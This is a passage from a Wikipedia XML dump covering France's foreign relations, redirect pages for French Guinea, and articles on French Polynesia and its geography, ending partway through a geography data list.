After the unification of [[Germany]] in [[1870]] Germany attempted to co-op France's relations with the Ottomans and was quite successful.  In [[World War I]] the Ottoman Empire joined the [[Central Powers]], and was defeated by France and the United Kingdom.  After the collapse of the Ottoman Empire France and Britain divided the Middle East between them.  France received [[Syria]] and [[Lebanon]].

These colonies were granted independence after the [[World War II|Second World War]] but France still tries to forge cultural and educational bonds between the areas, particularly with Lebanon. Relationships with Syria are more strained, due to the policies of that country. In [[2005]], France, along with the United States, pressured Syria to evacuate Lebanon.

In the post-WWII era French relations with the Arab Middle East reached a very low point.  The [[Algerian War of Independence|war in Algeria]] between Muslim fighters and French colonists deeply concerned the rest of the rest of the Muslim world.  The independence fighters received much of their supplies and funding from [[Egypt]] and other Arab powers, much to France's displeasure.  Most damaging to Franco-Arab relations, however, was the [[Suez Crisis]]. It greatly diminished France's reputation in the region.  France openly supported the Israeli attack on the [[Sinai peninsula]], and was working against Nasser, then a popular figure in the Middle East.  The Suez Crisis also made France and the United Kingdom look again like imperialist powers attempting to impose their will upon weaker nations.

Another hindrance to France's relations with the Arab Middle East was its close alliance with Israel.  In the [[1950s]] France was, perhaps, Israel's closest ally in the world. France had quickly recognized the state of Israel and for many years backed Israel at the [[United Nations]].  French arm shipments, including fighter jets, missiles, and helicopters had formed the backbone of Israel's army in the nineteen-fifties and early sixties. In the [[1967]] war it was French [[Mirage (aircraft)|Mirage]] fighters that had guaranteed Israeli air superiority, while on the ground French small arms equipped the [[Israel Defense Forces|IDF]] soldiers. This support was consistent, and also deeply ingrained in the population.  The support for Israel has been attributed to a number of causes, including guilt felt over the Vichy regime's treatment of Jews, and a similar desire to reject any viewpoints that could have Nazi overtones.  The right also had strong sympathies towards Israel as they saw the Israeli-Palestinian conflict to be in many ways similar to France's war with Algerian separatists.

This all changed dramatically with the coming of [[Charles de Gaulle]] to power.  De Gaulle's foreign policy was centered around an attempt to limit the power and influence of both superpowers, and at the same time increase France's international prestige.  De Gaulle hoped to move France from being a follower of the United States to becoming the leading nation of a large group of non-aligned countries.  The nations de Gaulle looked at as potential participants in this grouping were those in France's traditional spheres of influence: Africa and the Middle East.  The former French colonies in eastern and northern Africa were quite agreeable to these close relations with France.  These nations had close economic and cultural ties to France, and they also had few other suitors amongst the major powers.  This new orientation of French foreign policy also appealed strongly to the leaders of the Middle East.  None of them wanted to be dominated by either of the superpowers, and they supported France's policy of trying to balance the US and the [[Soviet Union|USSR]] and to prevent either from becoming dominant in the region. The Middle Eastern leaders wanted to be free to pursue their own goals and objectives, and did not want to be chained to either alliance block.  De Gaulle hoped to use this common foundation to build strong relations between the nations.  He also hoped that good relations would improve France's trade with the region.  De Gaulle also imagined that these allies would look up to the more powerful French nation, and would look to it in leadership in matters of foreign policy.

The end of the Algerian conflict in [[1962]] accomplished much in this regard.  France could not portray itself as a leader of the oppressed nations of the world if it still was enforcing its colonial rule upon another nation.  The battle against the Muslim separatists that France waged in favour of the minority of white settlers was an extremely unpopular one throughout the Muslim world. With the conflict raging it would have been next to impossible for France to have had positive relations with the nations of the Middle East. The Middle Eastern support for the [[National Liberation Front (Algeria)|FLN]] guerillas was another strain on relations that the end of the conflict removed. Most of the financial and material support for the FLN had come from the nations of the Middle East and North Africa. This was especially true of Nasser's Egypt, which had long supported the separatists.  Egypt is also the most direct example of improved relations after the end of hostilities.  The end of the war brought an immediate thaw to Franco-Egyptian relations, Egypt ended the trial of four French officers accused of espionage, and France ended its trade embargo against Egypt.   

In 1967 de Gaulle completely overturned France's Israel policy. De Gaulle and his ministers reacted very harshly to Israel's actions in the [[Six Day War]]. The French government and de Gaulle condemned Israel's treatment of refugees, warned that it was a mistake to occupy the [[Palestinian]] areas, and also refused to recognize the Israeli control of [[Jerusalem]].  The French government continued to criticize Israel after the war and de Gaulle spoke out against other Israeli actions, such as the operations against the [[PLO]] in Lebanon.  France began to use its veto power to oppose Israel in the UN, and France sided with the Arab states on almost all issues brought to the international body.  Most importantly of all, however, de Gaulle's government imposed an arms embargo on the Israeli state.  The embargo was in fact applied to all the combatants, but very soon France began selling weaponry to the Arab states again. As early as 1970 France sold Libya a hundred [[Dassault Mirage]] fighter jets.  However, after 1967 France continued to support Israel's right to exist, as well as Israel's many preferential agreements with France and the [[European Economic Community]].

De Gaulle launched the immense shift in policy from one favouring Israel to one favouring the Arab states for a combination of reasons.  It was becoming obvious that the strengthening alliance between the United States and Israel would soon make France's role as an ally mostly irrelevant. The US could always provide Israel with more money and with higher levels of military technology. For France to play an important role in the region it seemed supporting the Arab side would give it more leverage in the future. Trade considerations also came into play.  The Arab states at the time had a combined population of over a hundred million, compared to only three million in Israel.  As de Gaulle memoirs show he was personally quite sympathetic to Israel, but he saw it in the interest of France to distance the two nations.   For the pursuit of political and economic ends de Gaulle crafted a new Middle Eastern policy that discontinued support for Israel and instead pursued close relations with the Arab states.

Also important was the increase in foreign aid spending by the French government.  France increased its expenditures greatly to become second only to the United States in total aid amongst the Western powers but first on a per capita basis.  By 1968 France was paying out $855 million dollars per year in aid far more than either [[West Germany]] or the United Kingdom. The vast majority of French aid was directed towards Africa and the Middle East, usually either as a lever to promote French interests or to help with the sale of French products (e.g. arms sales).  France also increased its expenditures on other forms of aid sending out skilled individuals to developing countries to provide technical and cultural expertise.

The combination of aid money, arms sales, and diplomatic alignments helped to erase the memory of the Suez Crisis and the Algerian War in the Arab world and France successfully developed amicable relationships with the governments of many of the Middle Eastern states.  Nasser and de Gaulle, who shared many similarities, cooperated together on limiting American power in the region.  Nasser proclaimed France as the only friend of Egypt in the west.   France and Iraq also developed a close relationship with business ties, joint military training exercises, and French assistance in Iraq's nuclear program in the 1970s.  France's relations with its former colony Syria were improved, and eroded cultural links were partially restored. 

In terms of trade France did receive some benefits from the improved relations with the Middle East.  French trade with the Middle East increased by over fifty percent after de Gaulle's reforms. The weaponry industries benefited most as France soon had lucrative contracts with many of the regimes in the Middle East and North Africa, though these contracts account for a negligible part of France's economy.

De Gaulle had hoped that by taking a moderate path and not strongly supporting either side France could become integral to the Middle East peace process.  However, peace negotiations between Israel, the Palestinians, and the Arab powers have almost always involved representatives of the one or both of the superpowers, but France has been universally excluded. In the Camp David accords between Sadat and Begin US President Jimmy Carter played an immense role, the French played virtually none.  The French foreign minister complained that a separate peace between Israel and Egypt would not benefit Middle East peace, but none of the leaders involved were particularly concerned about what the French government thought.  This pattern has repeated itself frequently.  The Oslo Accords, the Israeli-Jordanian Peace Treaty, and others were all negotiated and written with no input at all from France. When France does try to intervene it is looked on as unhelpful by the US and Israel, and these nations have rejected all major French peace proposals. Chirac's visit to the Middle East in 1996 annoyed the Americans and Israelis, and had no lasting impact on the peace process.

France is one of the West's most frequent targets of Islamic terrorism. Throughout the period since de Gaulle left power there have been a number of attacks against French targets. There have been hijackings, such as those of an Air France plane to Uganda in 1976, and one to perhaps be crashed into the [[Eiffel Tower]] in 1994 (see [[Air France Flight 8969]]). Another plane was blown up over the Sahara in 1989, killing many French citizens. There have also been bombings in France such as those in 1986 or that against the [[Jo Goldenberg]] Jewish restaurant in 1982. In [[1995]], Algerian militants of the [[Armed_Islamic_Group|GIA]] launched a [[1995 Islamist terror bombings in France|terror bombing campaign]] against the French public.

===Africa===

France plays a significant role in Africa, especially in its former [[colonies]], through extensive aid programs, commercial activities, military agreements, and cultural impact. In those former colonies where the French presence remains important, France contributes to political, military, and social stability.

In [[2002]] and [[2003]], France participated in military interventions in [[Côte d'Ivoire]], [[Liberia]] and the [[Democratic Republic of Congo]], helping in the evacuation of foreign residents and the protection of civilians from warring factions.

===Asia===
France has extensive political and commercial relations with Asian countries, including [[China]], [[Japan]], and [[Southeast Asia]] as well as an increasing presence in regional fora. France was instrumental in launching the [[Asia-Europe Meeting]] (ASEM) process which could eventually emerge as a competitor to [[APEC]]. France is seeking to broaden its commercial presence in China and will pose a competitive challenge to U.S. business, particularly in [[aerospace]], high-tech, and luxury markets. In Southeast Asia, France was an architect of the [[Paris Accords]], which ended the conflict in [[Cambodia]].

France does not have formal diplomatic relationships with [[North Korea]]. North Korea however maintains a ''delegation'' (not an embassy nor a consulate) near Paris. As most countries, France does not recognize, nor have formal diplomatic relationships with the [[Republic of China]] ([[Taiwan]], capital [[Taipei]]), for it is impossible to recognize and have relationships with both the RoC and the [[People's Republic of China]]; however, Taiwan maintains a representation office in Paris, similar to an embassy but in name. Likewise, the French Institute in Taipei has an administrative consular section that delivers visas and fulfills other missions normally dealt with by diplomatic outposts.

====Japan====
''Main article: [[Franco-Japanese relations]]''

Recently France has been very involved in trade and cultural exchange initiatives with Japan.  Some people see this as being a result of French leader [[Jacques Chirac]] being a [[Japanophile]].  Chirac has visited Japan over 40 times, probably more than any other world leader outside of Japan, and is an expert on the country.  France has started the export promotion campaign &quot;[[Le Japon, c'est possible]]&quot; and the international liaison personnel exchange program [[JET]].  Together they built the [[Maison de la Culture du Japon à Paris]].

France and Japan have also worked together to improve dire health situations from AIDS and underdevelopment in Djibouti, Madagascar, Uganda, and other countries.

Japan and France are also known to share ideas with each other in the realms of [[art]] and [[cooking]].  Japan has been heavily influenced by French cuisine within the past few decades, as seen on the television show [[Iron Chef]].  [[Anime]] is popular in France, and French historical figures and settings from [[medieval]], [[Renaissance]], [[Napoleon I of France|Napoleonic]], and [[World War]] eras have served as models for certain popular stories in Japanese entertainment.  The purity of Japanese painting and illustration, and likewise the modernity and elegance of French visual arts has resulted in hybrid styles in those creative fields.

For more on Franco-Japanese relations visit [http://www.mofa.go.jp/region/europe/france/ Japan-France Relations]. (English)

===North America===
''Main articles: [[Canada-France relations]], [[Franco-U.S. relations]]''

Relations between Canada and France are friendly and stable, with the possible exception over [[Quebec]]'s status in Canada.

Relations between the United States and France are active and cordial. Mutual visits by high-level officials are conducted on a regular basis. Bilateral contact at the cabinet level has traditionally been active. France and the United States share common values and have parallel policies on most political, economic, and security issues. Differences are discussed frankly and have not been allowed to impair the pattern of close cooperation that characterizes relations between the two countries. The largest Current fallout between the [[United States]] and France involve U.S.-led [[Operation Iraqi Freedom]], a major part of the Post [[September 11]] [[War on Terror]]. When the United States went to war with [[Saddam Hussein]], they were not supported by France, who was later found to have ben involved in the [[Oil for Food Scandal]].

===United Kingdom===
''Main articles: [[Anglo-French relations]]''

Starting with the [[Hundred Years War]], France and England (later Great Britain and later still, the UK) were often enemies, and occasionally allies. As of today, the [[United Kingdom]] still celebrates its victories over the French emperor [[Napoleon I of France|Napoleon]] in much the same way that any nation that has historically won wars commemerates these events.

However, in the beginning of the 20th century a policy of ''[[entente cordiale]]'' (cordial agreement) was started. France and the United Kingdom have been allies ever since, despite occasional tensions (such as: the French perception that the British abandoned France in [[1940]], see [[Battle of France]] and [[Mers-el-Kébir]]; the British perception that the French wrongly opposed the [[2003 Invasion of Iraq]]).

A chronic point of contention is the future of the [[European Economic Community]], then the [[European Union]]. Under French president [[Charles de Gaulle]], France refused on several occasions that the UK joins the EEC because, De Gaulle argued, the UK had extensive alliances outside Europe and was famously suspicious of its European neighbours. After the UK joined the EEC at last, tensions started again when British prime minister [[Margaret Thatcher]] demanded that her country paid less to the EEC budget, as well as other demands. Finally, as [[Tony Blair]] is prime minister, the United Kingdom has clearly expressed scepticism at the economic policies conducted in France.

At the level of the populations, there seems to exist some deep-seated reciprocal distrust between the two countries. The British tabloid press frequently uses demeaning terms such as &quot;the [[Frogs]]&quot; to call the French.

===New Zealand===
New Zealand has always had excellent relations with France, which recently thanked New Zealand for helping it during German occupations of [[World War I]] and [[World War II|II]]. The relations were strained for a short period in the late 20th Century, however, over the [[French nuclear tests]] at [[Mururoa Atoll]] and the bombing of the [[Rainbow Warrior]].

==International organization participation:==
[[ACCT]], [[AfDB]], [[AsDB]], [[Australia Group]], [[BDEAC]], [[Bank for International Settlements|BIS]], [[Customs Cooperation Council|CCC]], [[CDB]] (non-regional), [[Council of Europe|CE]], [[CERN]], [[Euro-Atlantic Partnership Council|EAPC]], [[EBRD]], [[United Nations Economic Commission for Africa|ECA]] (associate), [[United Nations Economic Commission for Europe|ECE]], [[ECLAC]], [[European Investment Bank|EIB]], [[Economic and Monetary Union of the European Union|EMU]], [[European Space Agency|ESA]], [[Economic and Social Commission for Asia and the Pacific|ESCAP]], [[European Union|EU]], [[FAO]], [[FZ]], [[G-5]], [[G-7]], [[G-10]], [[Inter-American Development Bank|IADB]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Criminal Court|ICC]], [[International Chamber of Commerce|ICC]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[International Energy Agency|IEA]], [[IFAD]], [[IFC]], [[IFRCS]], [[IHO]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Inmarsat]], [[InOC]], [[Intelsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[MINURSO]], [[MIPONUH]], [[MONUC]], [[Non-Aligned Movement|NAM]] (guest), [[NATO]], [[Nuclear Energy Agency|NEA]], [[Nuclear Suppliers Group|NSG]], [[Organization of American States|OAS]] (observer), [[OECD]], [[OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[Permanent Court of Arbitration|PCA]], [[Secretariat of the Pacific Community|SPC]], [[United Nations|UN]], [[United Nations Security Council|UN Security Council]], [[UNCTAD]], [[UNESCO]], [[UNHCR]], [[UNIDO]], [[UNIFIL]], [[UNIKOM]], [[UNITAR]], [[UNMIBH]], [[UNMIK]], [[UNOMIG]], [[UNRWA]], [[UNTSO]], [[UNU]], [[UPU]], [[WADB]] (nonregional), [[WCL]], [[WEU]], [[WFTU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]], [[Zangger Committee]]

==International disputes==
* [[Madagascar]] claims [[Bassas da India]], [[Europa Island]], [[Glorioso Islands]] and [[Juan de Nova Island]]
* [[Comoros]] claims [[Mayotte]]
* [[Mauritius]] claims [[Tromelin Island]]
* [[Seychelles]] claims the [[Glorioso Islands]]
* territorial dispute between [[Suriname]] and [[French Guiana]]
* territorial claim in [[Antarctica]] ([[Adelie Land]])
* [[Matthew and Hunter Islands]] east of [[New Caledonia]] claimed by [[France]] and [[Vanuatu]]

==Other issues==
===Illicit drugs===
France is a transshipment point for and consumer of South American [[cocaine]] and Southwest Asian [[heroin]].

[[category:Foreign relations of France| ]]
[[Category:Foreign relations by country|France, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>French Guinea</title>
    <id>10727</id>
    <revision>
      <id>41072945</id>
      <timestamp>2006-02-24T21:54:03Z</timestamp>
      <contributor>
        <username>Astrokey44</username>
        <id>413045</id>
      </contributor>
      <text xml:space="preserve">{{Distinguish|French Guiana}}
'''French Guinea''' (French: ''Guinée française'') in [[West Africa]], became independent from [[France]] in [[1958]], becoming the country of [[Guinea]].

==See also==
* [[Guinea]]
* [[History of Guinea]]
* [[French West Africa]]

[[Category:Former French colonies|Guinea]]
{{Guinea-geo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>French Guinea/History</title>
    <id>10728</id>
    <revision>
      <id>15908525</id>
      <timestamp>2002-10-10T19:07:28Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[History of French Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>French Guinea/Geography</title>
    <id>10729</id>
    <revision>
      <id>15908526</id>
      <timestamp>2002-10-11T11:00:32Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>#REDIRECT [[Geography_of_French_Guiana]]</comment>
      <text xml:space="preserve">#REDIRECT [[Geography_of_French_Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>French Guinea/People</title>
    <id>10730</id>
    <revision>
      <id>15908527</id>
      <timestamp>2002-08-20T16:46:31Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <comment>correct redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Demographics of French Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>French Guinea/Government</title>
    <id>10731</id>
    <revision>
      <id>15908528</id>
      <timestamp>2002-10-11T19:30:51Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Politics_of_French_Guiana]]</comment>
      <text xml:space="preserve">#REDIRECT [[Politics_of_French_Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>French Guinea/Economy</title>
    <id>10732</id>
    <revision>
      <id>15908529</id>
      <timestamp>2002-06-22T20:56:09Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of French Guiana]]


</text>
    </revision>
  </page>
  <page>
    <title>French Guinea/Communications</title>
    <id>10733</id>
    <revision>
      <id>15908530</id>
      <timestamp>2002-10-11T19:35:23Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Communications_in_French_Guiana]]</comment>
      <text xml:space="preserve">#REDIRECT [[Communications_in_French_Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>French Guinea/Transportation</title>
    <id>10734</id>
    <revision>
      <id>15908531</id>
      <timestamp>2002-10-12T00:08:11Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>redirect to #REDIRECT [[Transportation_in_French_Guiana]]</comment>
      <text xml:space="preserve">#REDIRECT [[Transportation_in_French_Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>French Guinea/Military</title>
    <id>10735</id>
    <revision>
      <id>15908532</id>
      <timestamp>2002-10-12T00:09:20Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>#REDIRECT [[Military_of_French_Guiana]]</comment>
      <text xml:space="preserve">#REDIRECT [[Military_of_French_Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>French Polynesia</title>
    <id>10737</id>
    <revision>
      <id>41541940</id>
      <timestamp>2006-02-28T01:16:20Z</timestamp>
      <contributor>
        <username>Spudtater</username>
        <id>240830</id>
      </contributor>
      <comment>/* History */ -- is a redirect to same page</comment>
      <text xml:space="preserve">{| class=&quot;wikitable&quot; align=&quot;right&quot; width=&quot;300px&quot;
|+ &lt;font size=&quot;+1&quot;&gt;Polynésie française&lt;br&gt;Porinetia Farani&lt;/font&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=2 |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[image:Flag of French Polynesia.svg|140px|Flag of French Polynesia]]&lt;br /&gt;[[Flag of French Polynesia|In detail]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:French Polynesia COA.png|135px|Coat of arms of French Polynesia]]
|}
|-
| align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray; font-size:smaller&quot;|''National [[motto]]: Tahiti Nui Mare'are'a''
|-
| align=center colspan=2 | [[Image:Frenchpolynesia location map.JPG]]
|-
| [[Official languages]]
| [[French language|French]], [[Tahitian language|Tahitian]]
|-
| [[Political status]]
| [[Dependent territory]] ([[Collectivité d'outre-mer]])
|-
| [[Capital]]
| [[Papeete]]
|-
| Largest [[City]]
| [[Papeete]]
|-
| [[President of French Polynesia|President]]
| [[Oscar Temaru]]
|-
| [[Area]]&lt;br /&gt;&amp;nbsp;- Total &lt;br /&gt;&amp;nbsp;- % water
| &lt;br /&gt; [[1 E9 m²|4,167 km²]] &lt;br /&gt; 12%
|-
| [[Population]]
&amp;nbsp;- Total ([[As of 2002|2002]])
&lt;br /&gt;&amp;nbsp;- [[Density]]
| &lt;br /&gt; 245,405 &lt;br /&gt; 64/km²
|-
| [[Currency]]
| [[CFP franc]]
|-
| [[Time zone]]
| [[UTC]] -10
|-
| [[Top-level domain|Internet TLD]]
| [[.pf]]
|-
| [[List of country calling codes|Calling Code]]
| 689
|}

'''French Polynesia''' ([[French language|French]]: ''Polynésie française'', [[Tahitian language|Tahitian]]: ''Porinetia Farani'') is a [[France|French]] &quot;overseas collectivity&quot; ([[French language|French]]: ''[[collectivité d'outre-mer]]'', or COM) with the particular designation of &quot;overseas country&quot; ([[French language|French]]: ''[[pays d'outre-mer]]'', or ''POM'') in the southern [[Pacific Ocean]]. It is made up of several groups of [[Polynesia]]n [[island]]s, the most famous island being [[Tahiti]] in the [[Society Islands]] group, which is also the most populous island, and the seat of the capital of the territory ([[Papeete]]).  Although not an integral part of its territory, [[Clipperton Island]] is administered from French Polynesia.

==Administration==
Between [[1946]] and [[2003]], French Polynesia had the status of an overseas territory ([[French language|French]]: ''[[territoire d'outre-mer]]'', or ''TOM''). In [[2003]] it became an overseas collectivity ([[French language|French]]: ''[[collectivité d'outre-mer]]'', or COM). Its statutory law of [[27 February]] [[2004]] gives it the particular designation of &quot;overseas country&quot; to underline the large autonomy of the territory.

==History==
France annexed various Polynesian island groups during the nineteenth century.

French Polynesia is located in an area of high seismic activity. In September [[1995]], France stirred up widespread protests by resuming nuclear testing on the [[Mururoa atoll]] after a three-year [[moratorium]]. The tests were suspended in January [[1996]], as France acceded the [[Comprehensive Test Ban Treaty]].

==Politics==
''Main article: [[Politics of French Polynesia]]''

==Administrative divisions==
French Polynesia has 5 administrative subdivisions ([[French language|French]]: ''subdivisions administratives''):

* [[Windward Islands (Society Islands)|Windward Islands]] ([[French language|French]]: ''(les) Îles du Vent'' or officially ''la subdivision administrative des Îles du Vent'') (the two ''subdivisions administratives'' [[Windward Islands (Society Islands)|Windward Islands]] and [[Leeward Islands (Society Islands)|Leeward Islands]] are part of the [[Society Islands]])
* [[Leeward Islands (Society Islands)|Leeward Islands]] ([[French language|French]]: ''(les) Îles Sous-le-Vent'' or officially ''la subdivision administrative des Îles Sous-le-Vent'') (the two ''subdivisions administratives'' [[Windward Islands (Society Islands)|Windward Islands]] and [[Leeward Islands (Society Islands)|Leeward Islands]] are part of the [[Society Islands]])
* [[Marquesas Islands]] ([[French language|French]]: ''(les) (Îles) Marquises'' or officially ''la subdivision administrative des (Îles) Marquises'')
* [[Austral Islands]] ([[French language|French]]: ''(les) (Îles) Australes'' or officially ''la subdivision administrative des (Îles) Australes'') (including the [[Bass Islands (French Polynesia)|Bass Islands]])
* [[Îles Tuamotu-Gambier|Tuamotu-Gambier]] ([[French language|French]]: ''(les) (Îles) Tuamotu-Gambier'' or officially ''la subdivision administrative des (Îles) Tuamotu-Gambier'') (the [[Tuamotus]] and the [[Gambier Islands]])

[[Image:French Polynesia map.jpg|thumb|300px|right|Map of French Polynesia, from the library of UTX]]

==Geography==
''Main article: [[Geography of French Polynesia]]''

The islands of French Polynesia have a total land area of 4,167 km² (1,622 sq. miles) scattered over 2,500,000 km² (965,255 sq. miles) of ocean.

It is made up of several groups of islands, the largest and most populated of which is [[Tahiti]]. 

The island groups are:
*[[Austral Islands]] 
*[[Bass Islands (French Polynesia)|Bass Islands]] ''often considered part of the Austral Islands'' 
*[[Gambier Islands]] ''often considered part of the Tuamotu Archipelago'' 
*[[Marquesas Islands]] 
*[[Society Islands]] (including Tahiti) 
*[[Tuamotu|Tuamotu Archipelago]]

Aside from Tahiti, important [[atoll]]s and islands, and island groups in French Polynesia include [[Bora Bora]], [[Hiva Oa|Hiva `Oa]], [[Huahine]], [[Maiao]], [[Maupiti]], [[Mehetia]], [[Moorea]], [[Nuku Hiva]], [[Raiatea]], [[Tahaa]], [[Tetiaroa]], [[Tubuai (Austral Islands)|Tubuai]], and [[Tupai]].

==Economy==
''Main article: [[Economy of French Polynesia]]''

French Polynesia has a moderately developed economy, which is dependent on imported goods, tourism, and the financial assistance of mainland France. Tourist facilities are well developed and are available on the major islands.Also, as the noni fruit from these islands is discovered for its medicinal uses, people have been able to find jobs related to this agricultural industry. 

The legal tender currency of French Polynesia is the [[CFP franc]]; many merchants have been reported to accept other currencies very readily, but many tourists have been disappointed and inconvenienced through assuming they can use US dollars, etc. Few merchants actually wish to bother to calculate the current exchange rate and then make the foreign exchange at a bank.

==Demographics==
''Main article: [[Demographics of French Polynesia]]''

Total population at the 2002 census was 245,405 inhabitants, 83% of whom are Polynesian, 12% Caucasian, and 5% Eastern Asian (mainly [[Overseas Chinese|Chinese]]). In 2002, 69% of the population of French Polynesia lived in the island of [[Tahiti]] alone. The urban area of [[Papeete]], the capital city, has 127,635 inhabitants (2002 census).

==Transport==
''Main article: [[Transportation in French Polynesia]]''

While most major roads are paved and well-maintained, many secondary roads are not. Traffic is brisk and all types of vehicles and pedestrians jockey for space on narrow streets. Crosswalks are marked and the law requires that motor vehicles stop for pedestrians; however, this is not always done. Tourists should exercise caution when driving, particularly at night.

==Education==
Education is also provided by France. French Polynesia has a University, the [[Université de la Polynésie Française]] (UPF, &quot;University of French Polynesia&quot;), located in [[Faa'a]], Tahiti.
It is a small university counting around 2,000 students. 
Luise Peltzer, former minister of culture of French Polynesia has been elected president of the University for 5 years. There are about 60 researchers at the university, including physicists Pascal Ortega  (lightning studies) and Alessio Guarino  ([[nonlinear]] physics). In the Human Sciences department, sociologist [[Laura Schuft]] deserves to be mentioned for her study on the integration of [[Metropolitan France|mainland French]] workers in Tahiti.

==Miscellaneous topics==
French Polynesia has one of the lowest crime rates within France and its territories. However, petty crime, such as pickpocketing and purse snatching, occurs. 

Medical treatment is generally good on the major islands, but is limited in areas that are more remote or less populated. Patients with emergencies or with serious illnesses are often referred to facilities on Tahiti for treatment. In [[Papeete]], the capital of Tahiti, two major hospitals as well as several private clinics provide 24-hour medical service. Serious medical problems requiring hospitalization or medical evacuation can cost thousands of dollars. Doctors and hospitals often expect immediate cash payment for health services.

As an overseas territory of France, defence and law-enforcement are provided by the [[Military of France|French Forces]] (Army, Navy, Air Force) and [[French Gendarmerie|Gendarmerie]].

==See also==
* [[Communications in French Polynesia]]
* [[Universite de la Polynesie Francaise]], University of French Polynesia
* [[French overseas departments and territories]]
* [[Administrative divisions of France]]
* [[Islands controlled by France in the Indian and Pacific oceans]]
* [[Music of French Polynesia]]

==External links==
* [http://www.southpacific.org/text/finding_tahiti.html Finding French Polynesia]
* [http://www.janeresture.com/tahitihome/tahiti.htm Jane's Tahiti Home Page: tourist information on French Polynesia]
* [http://www.pacific-pictures.com/tahiti/ French Polynesia Photos]
* [http://www.mapsouthpacific.com/tahiti/index.html Map of French Polynesia]
* [http://www.polynesie-francaise.gouv.fr/ Government of French Polynesia]
* [http://www.presidence.pf/ Presidency of French Polynesia]
* [http://www.upf.pf University of French Polynesia]
* [http://www.polynesie-francaise.gouv.fr/hc/inter/inter-subdiv.asp ''subdivisions administratives'' of French Polynesia]

{{Polynesia}}
{{Oceania}}

&lt;!-- --&gt;

[[Category:French Polynesia| ]]
[[Category:Oceanian countries]]
[[Category:Special territories of the European Union]]

[[zh-min-nan:Hoat-kok Polynésie]]
[[ca:Polinèsia Francesa]]
[[da:Fransk Polynesien]]
[[de:Französisch-Polynesien]]
[[et:Prantsuse Polüneesia]]
[[es:Polinesia Francesa]]
[[eo:Franca Polinezio]]
[[fr:Polynésie française]]
[[gl:Polinesia Francesa - Polynésie française]]
[[ko:프랑스령 폴리네시아]]
[[hr:Francuska Polinezija]]
[[id:Polinesia Perancis]]
[[io:Franca Polinezia]]
[[is:Franska Pólýnesía]]
[[it:Polinesia francese]]
[[he:פולינזיה הצרפתית]]
[[lt:Prancūzijos Polinezija]]
[[hu:Francia Polinézia]]
[[nl:Frans-Polynesië]]
[[ja:フランス領ポリネシア]]
[[no:Fransk Polynesia]]
[[pl:Polinezja Francuska]]
[[pt:Polinésia Francesa]]
[[ru:Французская Полинезия]]
[[sk:Francúzska Polynézia]]
[[fi:Ranskan Polynesia]]
[[sv:Franska Polynesien]]
[[tr:Fransız Polinezyası]]
[[zh:法屬玻里尼西亞]]</text>
    </revision>
  </page>
  <page>
    <title>French Polynesia/History</title>
    <id>10738</id>
    <revision>
      <id>15908534</id>
      <timestamp>2002-07-27T08:41:00Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[French Polynesia]]</comment>
      <text xml:space="preserve">#REDIRECT [[French Polynesia]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of French Polynesia</title>
    <id>10739</id>
    <revision>
      <id>15908535</id>
      <timestamp>2005-03-14T20:14:28Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>fmt with [[Template:coor]] (see [[Wikipedia:WikiProject Geographical coordinates|WikiProject]])</comment>
      <text xml:space="preserve">[[Image:Fp-map.gif|right|map courtesy CIA World Factbook]]

This article describes the '''[[geography]] of [[French Polynesia]]'''.

; Location:
: [[Oceania]], [[archipelago]] in the South [[Pacific Ocean]], about one-half of the way from [[South America]] to [[Australia]]
; [[Geographic coordinates]]:
: {{coor dm|15|00|S|140|00|W|type:country}}
; Map references:
: Oceania
; Area:
:* Total: 4,167 [[Square kilometre|km&amp;sup2;]] (118 islands and atolls)
:* Land: 3,660 km&amp;sup2;
:* Water: 507 km&amp;sup2;
; Land boundaries:
: 0 km
; Coastline:
: 2,525 km
; Maritime claims:
:* Exclusive economic zone: 200 [[Nautical mile|nm]]
:* Territorial sea: 12 nm
; Climate:
: Tropical, but moderate
; Terrain:
: Mixture of rugged high islands and low islands with reefs
; Elevation extremes:
:* Lowest point: Pacific Ocean 0 [[metre|m]]
:* Highest point: Mont Orohena 2,241 m
; Natural resources:
: Timber, fish, [[cobalt]], [[hydropower]]
; Land use:
:* Arable land: 1%
